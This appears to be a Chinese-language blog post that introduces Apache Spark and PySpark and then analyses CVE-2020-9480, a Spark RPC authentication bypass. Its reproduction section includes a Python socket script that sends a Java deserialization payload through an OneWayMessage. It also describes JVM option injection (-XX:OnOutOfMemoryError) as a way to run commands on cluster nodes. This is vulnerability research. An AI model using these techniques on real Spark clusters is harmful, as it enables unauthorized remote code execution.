一、Apache Spark簡介
Spark是一種快速、通用、可擴展的大數據分析引擎,2009年誕生於加州大學伯克利分校AMPLab,2010年開源,2013年6月成爲Apache孵化項目,2014年2月成爲Apache頂級項目。項目是用Scala進行編寫。
目前,Spark生態系統已經發展成爲一個包含多個子項目的集合,其中包含
- SparkSQL
- Spark Streaming
- GraphX
- MLib
- SparkR等子項目
Spark是基於內存計算的大數據並行計算框架。除了擴展了廣泛使用的 MapReduce 計算模型,而且高效地支持更多計算模式,包括交互式查詢和流處理。
0x1:Spark框架體系
Spark 適用於各種各樣原先需要多種不同的分佈式平臺的場景,包括批處理、迭代算法、交互式查詢、流處理。通過在一個統一的框架下支持這些不同的計算,Spark 使我們可以簡單而低耗地把各種處理流程整合在一起。而這樣的組合,在實際的數據分析過程中是很有意義的。不僅如此,Spark 的這種特性還大大減輕了原先需要對各種平臺分別管理的負擔。
- Spark Core:實現了 Spark 的基本功能,包含任務調度、內存管理、錯誤恢復、與存儲系統 交互等模塊。Spark Core 中還包含了對彈性分佈式數據集(resilient distributed dataset,簡稱RDD)的 API 定義。
- Spark SQL:是 Spark 用來操作結構化數據的程序包。通過 Spark SQL,我們可以使用 SQL 或者 Apache Hive 版本的 SQL 方言(HQL)來查詢數據。Spark SQL 支持多種數據源,比 如 Hive 表、Parquet 以及 JSON 等。
- Spark Streaming:是 Spark 提供的對實時數據進行流式計算的組件。提供了用來操作數據流的 API,並且與 Spark Core 中的 RDD API 高度對應。
- Spark MLlib:提供常見的機器學習(ML)功能的程序庫。包括分類、迴歸、聚類、協同過濾等,還提供了模型評估、數據 導入等額外的支持功能。
- 集羣管理器:Spark 設計爲可以高效地在一個計算節點到數千個計算節點之間伸縮計算。爲了實現這樣的要求,同時獲得最大靈活性,Spark 支持在各種集羣管理器(cluster manager)上運行,包括 Hadoop YARN、Apache Mesos,以及 Spark 自帶的一個簡易調度 器,叫作獨立調度器。
整體框架體系如下:
通過flume採集數據,然後可以用過MapReduce的可以對數據進行清洗和分析,處理後的數據可以存儲到HBase(相當於存到了HDFS中),HDFS是一個非常強大的分佈式文件系統。
0x2:Spark和MR對比
MR中的迭代:
Spark中的迭代:
- spark把運算的中間數據存放在內存,迭代計算效率更高;mapreduce的中間結果需要落地,需要保存到磁盤,這樣必然會有磁盤io操做,影響性能。
- spark容錯性高,它通過彈性分佈式數據集RDD來實現高效容錯,RDD是一組分佈式的存儲在節點內存中的只讀性質的數據集,這些集合是彈性的,某一部分丟失或者出錯,可以通過整個數據集的計算流程的血緣關係來實現重建;mapreduce的話容錯可能只能重新計算了,成本較高。
- spark更加通用,spark提供了transformation和action這兩大類的多個功能api,另外還有流式處理sparkstreaming模塊、圖計算GraphX等等;mapreduce只提供了map和reduce兩種操作,流計算以及其他模塊的支持比較缺乏。
- spark框架和生態更爲複雜,首先有RDD、血緣lineage、執行時的有向無環圖DAG、stage劃分等等,很多時候spark作業都需要根據不同業務場景的需要進行調優已達到性能要求;mapreduce框架及其生態相對較爲簡單,對性能的要求也相對較弱,但是運行較爲穩定,適合長期後臺運行。
0x3:Spark核心概念
1、SparkContext
Spark是管理集羣和協調集羣進程的對象。SparkContext就像任務的分配和總調度師一樣,處理數據分配,任務切分這些任務。
下圖是Spark官網給出的集羣之間的邏輯框架圖,可以看到SparkContext在Driver程序中運行,這裏的Driver就是主進程的意思。Worker Node就是集羣的計算節點,計算任務在它們上完成。
2、RDD
RDD是Resilient Distributed Datasets的縮寫,中文翻譯爲彈性分佈式數據集,它是Spark的數據操作元素,是具有容錯性的並行的基本單元。
RDD之於Spark,就相當於array之於Numpy,Matrix之於MatLab,DataFrames之於Pandas。很重要的一個點是:RDD天然就是在分佈式機器上存儲的,這種碎片化的存儲使得任務的並行變得容易。
0x4:集羣模型
1、Cluster模型
上圖是官網給出的Spark集羣模型,Driver Program 是主進程,SparkContext運行在它上面,它跟Cluster Manager相連。Driver對Cluster Manager下達任務人,然後由Cluster Manager將任資源分配給各個計算節點(Worker Node)上的executor,然後Driver再將應用的代碼發送給各個Worker Node。最後,Driver向各個節點發送Task來運行。
這裏有幾個需要注意的點:
- 在Spark中,各個應用之間數據是隔離的,即不同的SparkContext之間互不可見。這樣能有效地保護數據的局部性。
- Cluster Manager對Driver來說是不知的,透明的,只要能滿足要求就可以。所以Spark可以在Apache Mesos、Hadoop YARN、Standalone這些Cluster Manager上運行。
- 在運行過程中,Driver需要隨時準備好接收來自各個計算節點的數據,所以對各個executor來說,Driver必須是可尋址的,比如有公網IP,或者如果在同一個局域網的話,有固定的局域網IP。
- 由於Driver需要隨時接收消息和數據,所以最好Driver和各個節點比較鄰近,這樣數據傳輸會比較快。
0x5:Spark RPC
Spark RPC 是一個自定義的協議。底層是基於netty4開發的,相關的實現封裝在spark-network-common.jar和spark-core.jar中,其中前者使用的JAVA開發的後者使用的是scala語言。
協議內部結構由兩部分構成header和body,
- header中的內容包括:整個frame的長度(8個字節),message的類型(1個字節),以及requestID(8個字節)還有body的長度(4個字節)
- body根據協議定義的數據類型不同略有差異.
參考鏈接:
https://zhuanlan.zhihu.com/p/66494957
二、Spark編程
Apache Spark 是用 Scala 編程語言編寫的。爲了在 Spark 中支持 Python,Apache Spark 社區發佈了一個工具 PySpark。使用 PySpark,我們還可以使用 Python 編程語言處理 RDD。正是因爲有一個名爲 Py4j 的庫,他們才能夠實現這一點。
從Spark官方下載頁面選擇一個合適版本的Spark。
安裝PySpark,
pip install pyspark
解壓下載的 Spark tar 文件,
tar -xvf spark-3.5.0-bin-hadoop3.tgz
它將創建一個目錄spark-3.5.0-bin-hadoop3,在啓動 PySpark 之前,我們需要設置以下環境來設置 Spark 路徑和Py4j path。
vim ~/.zshrc 添加:source ~/.bash_profile vim ~/.bash_profile 添加: export SPARK_HOME = /Users/zhenghan/Projects/spark-3.5.0-bin-hadoop3 export PATH = $PATH:/Users/zhenghan/Projects/spark-3.5.0-bin-hadoop3/bin export PYTHONPATH = $SPARK_HOME/python:$SPARK_HOME/python/lib/py4j-0.10.9.7-src.zip:$PYTHONPATH export PATH = $SPARK_HOME/python:$PATH
現在我們已經設置了所有環境,讓我們轉到 Spark 目錄並通過運行以下命令調用 PySpark shell,
./bin/pyspark
SparkContext 是任何 spark 功能的入口點。當我們運行任何 Spark 應用程序時,會啓動一個驅動程序,該程序具有 main 函數,並且您的 SparkContext 會在此處啓動。然後,驅動程序在工作節點上的執行程序內運行操作。
SparkContext 使用 Py4J 啓動一個JVM並創建一個JavaSparkContext. 默認情況下,PySpark 的 SparkContext 可用作 sc,
接下來我們在 PySpark shell 上運行一個簡單的示例。在此示例中,我們將計算在README.md文件。所以,假設一個文件有 5 行,並且 3 行有字符 ‘a’,那麼輸出將是 Line with a: 3,對字符“b”也是如此。
logFile = "file:///Users/zhenghan/Projects/spark-3.5.0-bin-hadoop3/README.md" logData = sc.textFile(logFile).cache() numAs = logData.filter(lambda s: 'a' in s).count() numBs = logData.filter(lambda s: 'b' in s).count() print("Lines with a: %i, lines with b: %i" % (numAs, numBs))
讓我們使用 Python 程序運行相同的示例。創建一個名爲的 Python 文件firstapp.py並在該文件中輸入以下代碼。
# -*- coding: utf-8 -*- from pyspark import SparkContext if __name__ == "__main__": logFile = "file:///Users/zhenghan/Projects/spark-3.5.0-bin-hadoop3/README.md" sc = SparkContext("local", "first app") logData = sc.textFile(logFile).cache() numAs = logData.filter(lambda s: 'a' in s).count() numBs = logData.filter(lambda s: 'b' in s).count() print("Lines with a: %i, lines with b: %i" % (numAs, numBs))
參考鏈接:
https://spark.apache.org/downloads.html https://www.jianshu.com/p/8e51bc9cebfa https://www.hadoopdoc.com/spark/pyspark-env https://www.hadoopdoc.com/spark/pyspark-sparkcontext https://cloud.tencent.com/developer/article/1559471
二、漏洞原理分析
2020 年 06 月 24 日,Apache Spark 官方發佈了 Apache Spark 遠程代碼執行 的風險通告,該漏洞編號爲 CVE-2020-9480,漏洞等級:高危
Apache Spark是一個開源集羣運算框架。在 Apache Spark 2.4.5 以及更早版本中Spark的認證機制存在缺陷,導致共享密鑰認證失效。攻擊者利用該漏洞,可在未授權的情況下,在主機上執行命令,造成遠程代碼執行。
0x1:和漏洞相關的Spark部署背景知識介紹
SPARK 常用 5 種運行模式,2種運行部署方式.
5種運行模式:
- LOCAL:本機運行模式,利用單機的多個線程來模擬 SPARK 分佈式計算,直接在本地運行
- STANDALONE:STANDALONE 是 spark 自帶的調度程序,下面分析也是以 STANDALONE 調度爲主
- YARN
- Mesos
- Kurnernetes
2種驅動程序部署方式:
- CLIENT
- CLUSTER
Spark 應用程序在集羣上做爲獨立的進程集運行,由 SparkContext 主程序中的對象(驅動程序 driver program)繼續進行調度。
- CLIENT 驅動部署方式指驅動程序(driver) 在集羣外運行,比如 任務提交機器 上運行
- CLUSTER 驅動部署方式指驅動程序(driver) 在集羣上運行
驅動程序(driver) 和集羣上工作節點 (Executor) 需要進行大量的交互,進行通信。
通信交互方式:RPC / RESTAPI
- RESTAPI:該方式不支持使用驗證(CVE-2018-11770)防禦方式是隻能在可信的網絡下運行,RESTAPI 使用 jackson 做 json 反序列化解析,歷史漏洞 (CVE-2017-12612)
- RPC:該方式設置可 auth 對訪問進行認證,CVE-2020-9480 是對認證方式的繞過。也是本次漏洞的分析目標
0x2:漏洞源碼分析
漏洞說明,在 standalone 模式下,繞過權限認證,導致 RCE。
前置條件:
- 配置選項 spark.authenticate 啓用 RPC 身份驗證,spark.authenticate是RPC協議中的一個配置屬性,此參數控制Spark RPC是否使用共享密鑰進行認證。
- 配置選項 spark.authenticate.secret 設定密鑰
理解:SPARK只要繞過權限認證,提交惡意的任務,即可造成RCE。找到 commit 記錄。
補丁修正:將 AuthRpcHandler 和 SaslRpcHandler 父類由 RpcHandler 修正爲 AbstractAuthRpcHandler, AbstractAuthRpcHandler 繼承自 RpcHandler, 對認證行爲進行了約束,
通過對比 Rpchandler 關鍵方法的實現可以發現 2.4.5 版本中,用於處理認證的 RpcHandler 的 receive重載方法 receive(TransportClient client, ByteBuffer message) 和 receiveStream 方法沒有做權限認證。而在更新版本中,父類AbstractAuthRpcHandler 對於 receive重載方法 receive(TransportClient client, ByteBuffer message) 和 receiveStream 添加了認證判斷
找到了diff補丁的位置,我們繼續回溯代碼執行流及SPARK RPC的實現, TransportRequestHandler 調用了 RPC handler receive 函數和 receiveStream。
TransportRequestHandler 用於處理 client 的請求,每一個 handler 與一個 netty channel 關聯,SPARK RPC 底層是基於 netty RPC 實現的,
*requesthandler 根據業務流類型調用 rpchandler 處理消息
public class TransportRequestHandler extends MessageHandler<RequestMessage> { ...... public TransportRequestHandler( Channel channel, TransportClient reverseClient, RpcHandler rpcHandler, Long maxChunksBeingTransferred, ChunkFetchRequestHandler chunkFetchRequestHandler) { this.channel = channel; /** The Netty channel that this handler is associated with. */ this.reverseClient = reverseClient; /** Client on the same channel allowing us to talk back to the requester. */ this.rpcHandler = rpcHandler; /** Handles all RPC messages. */ this.streamManager = rpcHandler.getStreamManager(); /** Returns each chunk part of a stream. */ this.maxChunksBeingTransferred = maxChunksBeingTransferred; /** The max number of chunks being transferred and not finished yet. */ this.chunkFetchRequestHandler = chunkFetchRequestHandler; /** The dedicated ChannelHandler for ChunkFetchRequest messages. */ } public void handle(RequestMessage request) throws Exception { if (request instanceof ChunkFetchRequest) { chunkFetchRequestHandler.processFetchRequest(channel, (ChunkFetchRequest) request); } else if (request instanceof RpcRequest) { processRpcRequest((RpcRequest) request); } else if (request instanceof OneWayMessage) { processOneWayMessage((OneWayMessage) request); } else if (request instanceof StreamRequest) { processStreamRequest((StreamRequest) request); } else if (request instanceof UploadStream) { processStreamUpload((UploadStream) request); } else { throw new IllegalArgumentException("Unknown request type: " + request); } } ...... private void processRpcRequest(final RpcRequest req) { ...... rpcHandler.receive(reverseClient, req.body().nioByteBuffer(), new RpcResponseCallback() {......} ...... } private void processStreamUpload(final UploadStream req) { ...... StreamCallbackWithID streamHandler = rpcHandler.receiveStream(reverseClient, meta, callback); ...... } ...... private void processOneWayMessage(OneWayMessage req) { ...... rpcHandler.receive(reverseClient, req.body().nioByteBuffer()); ...... } private void processStreamRequest(final StreamRequest req) { ... buf = streamManager.openStream(req.streamId); streamManager.streamBeingSent(req.streamId); ... } }
- processRpcRequest 處理 RPCRequest 類型請求(RPC請求),調用 rpchandler.rpchandler(client, req, callback) 方法,需要進行驗證
- processStreamUpload 處理 UploadStream 類型請求(上傳流數據),調用 rpchandler.receiveStream(client, meta, callback) 不需要驗證
- processOneWayMessage 處理 OneWayMessage 類型請求(單向傳輸不需要回復),調用 rpchandler.receive(client, req),不需要驗證
- processStreamRequest 處理 StreamRequest 類型請求,獲取 streamId ,取對應流數據。需要 streamId 存在
綜上,通過創建一個類型爲 UploadStream 和 OneWayMessage 的請求,即可繞過認證邏輯,提交任務,造成RCE。在未作權限約束下,可以使用 RPC 和 REST API 方式,向 SPARK 集羣提交惡意任務,反彈shell。
進一步地,該漏洞還可以和其他反序列化漏洞配合,形成更大的攻擊面。
參考鏈接:
https://avd.aliyun.com/detail?id=AVD-2018-17190 https://www.sohu.com/a/291358525_354899
三、漏洞復現
SPARK RPC 底層基於 NETTY 開發,相關實現封裝在spark-network-common.jar
(java)和spark-core.jar
(scala)中,在Apache Spark RPC協議中的反序列化漏洞分析 一文中,對 RPC 協議包進行了介紹。
0x1:反序列化gadgets利用
Apache Spark RPC協議中的反序列化漏洞分析 文章是通過構造 RpcRequest
消息,通過 nettyRPChandler
反序列解析處理消息觸發反序列化漏洞。處理反序列化的相關邏輯在 common/network-common/src/main/java/org/apache/spark/network/protocol/
的 message
實現中。
協議內部結構由兩部分構成
- header
- body
header中的內容包括:
- 整個frame的長度(8個字節)
- message的類型(1個字節)
其中frame 長度計算:
- header 長度:8(frame 長度)+ 1(message 類型長度)+ 8 (message 長度)+ 4(body的長度)= 21 字節
- body 長度
MessageEncoder.java public void encode(ChannelHandlerContext ctx, Message in, List<Object> out) throws Exception { Message.Type msgType = in.type(); // All messages have the frame length, message type, and message itself. The frame length // may optionally include the length of the body data, depending on what message is being // sent. int headerLength = 8 + msgType.encodedLength() + in.encodedLength(); long frameLength = headerLength + (isBodyInFrame ? bodyLength : 0); ByteBuf header = ctx.alloc().buffer(headerLength); header.writeLong(frameLength); msgType.encode(header); in.encode(header); assert header.writableBytes() == 0; if (body != null) { // We transfer ownership of the reference on in.body() to MessageWithHeader. // This reference will be freed when MessageWithHeader.deallocate() is called. out.add(new MessageWithHeader(in.body(), header, body, bodyLength)); } else { out.add(header); } }
不同信息類型會重載encode 函數 msgType.encode 。
- 其中
OneWayMessage
包括 4 字節的 body 長度 RpcRequest
包括 8 字節的requestId
和 4 字節的 body 長度UploadStream
包括 8 字節的requestId
,4 字節 metaBuf.remaining, 1 字節metaBuf
, 8 字節的bodyByteCount
OneWayMessage.java public void encode(ByteBuf buf) { // See comment in encodedLength(). buf.writeInt((int) body().size()); } RpcRequest.java @Override public void encode(ByteBuf buf) { buf.writeLong(requestId); // See comment in encodedLength(). buf.writeInt((int) body().size()); } UploadStream.java public void encode(ByteBuf buf) { buf.writeLong(requestId); try { ByteBuffer metaBuf = meta.nioByteBuffer(); buf.writeInt(metaBuf.remaining()); buf.writeBytes(metaBuf); } catch (IOException io) { throw new RuntimeException(io); } buf.writeLong(bodyByteCount);
message 枚舉類型,
Message.java public static Type decode(ByteBuf buf) { byte id = buf.readByte(); switch (id) { case 0: return ChunkFetchRequest; case 1: return ChunkFetchSuccess; case 2: return ChunkFetchFailure; case 3: return RpcRequest; case 4: return RpcResponse; case 5: return RpcFailure; case 6: return StreamRequest; case 7: return StreamResponse; case 8: return StreamFailure; case 9: return OneWayMessage; case 10: return UploadStream; case -1: throw new IllegalArgumentException("User type messages cannot be decoded."); default: throw new IllegalArgumentException("Unknown message type: " + id); } }
nettyRpcHandler 處理消息body
時,body
由通信雙方地址和端口組成,後續是java序列化後的內容(ac ed 00 05)
其中 NettyRpcEnv.scala core/src/main/scala/org/apache/spark/rpc/netty/NettyRpcEnv.scala RequestMessage 類 serialize
方法是 RequestMessage 請求構建部分
private[netty] class RequestMessage( val senderAddress: RpcAddress, val receiver: NettyRpcEndpointRef, val content: Any) { /** Manually serialize [[RequestMessage]] to minimize the size. */ def serialize(nettyEnv: NettyRpcEnv): ByteBuffer = { val bos = new ByteBufferOutputStream() val out = new DataOutputStream(bos) try { writeRpcAddress(out, senderAddress) writeRpcAddress(out, receiver.address) out.writeUTF(receiver.name) val s = nettyEnv.serializeStream(out) try { s.writeObject(content) } finally { s.close() } } finally { out.close() } bos.toByteBuffer } private def writeRpcAddress(out: DataOutputStream, rpcAddress: RpcAddress): Unit = { if (rpcAddress == null) { out.writeBoolean(false) } else { out.writeBoolean(true) out.writeUTF(rpcAddress.host) out.writeInt(rpcAddress.port) } }
以 OneWayMessage 舉例,
構造payload,
def build_oneway_msg(payload): msg_type = b'\x09' other_msg = ''' 01 00 0f 31 39 32 2e 31 36 38 2e 31 30 31 2e 31 32 39 00 00 89 6f 01 00 06 75 62 75 6e 74 75 00 00 1b a5 00 06 4d 61 73 74 65 72 ''' other_msg = other_msg.replace('\n', "").replace(' ', "") body_msg = bytes.fromhex(other_msg) + payload msg = struct.pack('>Q',len(body_msg) + 21) + msg_type msg += struct.pack('>I',len(body_msg)) msg += body_msg return msg sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(100) server_address = ('192.168.101.129', 7077) sock.connect(server_address) # get ser_payload 構造java 反序列化payload payload = build_oneway_msg(ser_payload) sock.send(payload) time.sleep(5) # data = sock.recv(1024) sock.close()
使用URLDNS 反序列化payload。
0x2:繞過鑑權後新建RCE任務利用
OneWayMessage 可以繞過驗證,理論上構造一個提交任務請求就行。嘗試通過捕獲 rpcrequest 請求並重放。
SPARK deploy 模式爲 cluster 和 client。client 模式下提交任務方即爲 driver, 需要和 executor 進行大量交互,嘗試使用 --deploy-mode cluster
./bin/spark-submit --class org.apache.spark.examples.SparkPi --master spark://127.0.0.1:7077 --deploy-mode cluster --executor-memory 1G --total-executor-cores 2 examples/jars/spark-examples_2.11-2.4.5.jar 10
重放反序列化數據,報錯,
org.apache.spark.SparkException: Unsupported message OneWayMessage(192.168.101.129:35183,RequestSubmitDriver(DriverDescription (org.apache.spark.deploy.worker.DriverWrapper))) from 192.168.101.129:35183
NettyRpcHandler 處理的反序列化數據爲 DeployMessage 類型,DeployMessage消息類型有多個子類。
- 當提交部署模式爲cluster時,使用 RequestSubmitDriver 類;
- 當提交部署方式爲 client(默認)時,使用 registerapplication 類
對不同消息處理邏輯在 master.scala 中,可以看到 receive 方法中不存在RequestSubmitDriver的處理邏輯,OneWayMessage特點就是單向信息不會回覆,不會調用 receiveAndreply 方法。
override def receive: PartialFunction[Any, Unit] = { ... case RegisterWorker( case RegisterApplication(description, driver) case ExecutorStateChanged( case DriverStateChanged( ... } override def receiveAndReply(context: RpcCallContext): PartialFunction[Any, Unit] = { ... case RequestSubmitDriver(description) ... }
在 DEF CON Safe Mode - ayoul3 - Only Takes a Spark Popping a Shell on 1000 Nodes一文中,作者通過傳遞java 配置選項進行了代碼執行。
java 配置參數 -XX:OnOutOfMemoryError=touch /tmp/testspark 在JVM 發生內存錯誤時,會執行後續的命令
通過使用 -Xmx:1m 限制內存爲 1m 促使錯誤發生
提交任務攜帶以下配置選項,
spark.executor.extraJavaOptions=\"-Xmx:1m -XX:OnOutOfMemoryError=touch /tmp/testspark\"
SPARK-submit 客戶端限制只能通過 spark.executor.memory
設定 內存值,報錯,
Exception in thread "main" java.lang.IllegalArgumentException: Executor memory 1048576 must be at least 471859200. Please increase executor memory using the --executor-memory option or spark.executor.memory in Spark configuration.
最後通過使用 SerializationDumper 轉儲和重建爲 javaOpts 的 scala.collection.mutable.ArraySeq, 並添加 jvm 參數 -Xmx:1m,注意 SerializationDumper 還需要做數組自增,和部分handler 的調整。
https://superxiaoxiong.github.io/2021/03/01/spark%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90CVE-2020-9480/ https://blog.tophant.ai/apache-spark-rpc%E5%8D%8F%E8%AE%AE%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ https://www.freebuf.com/vuls/194532.html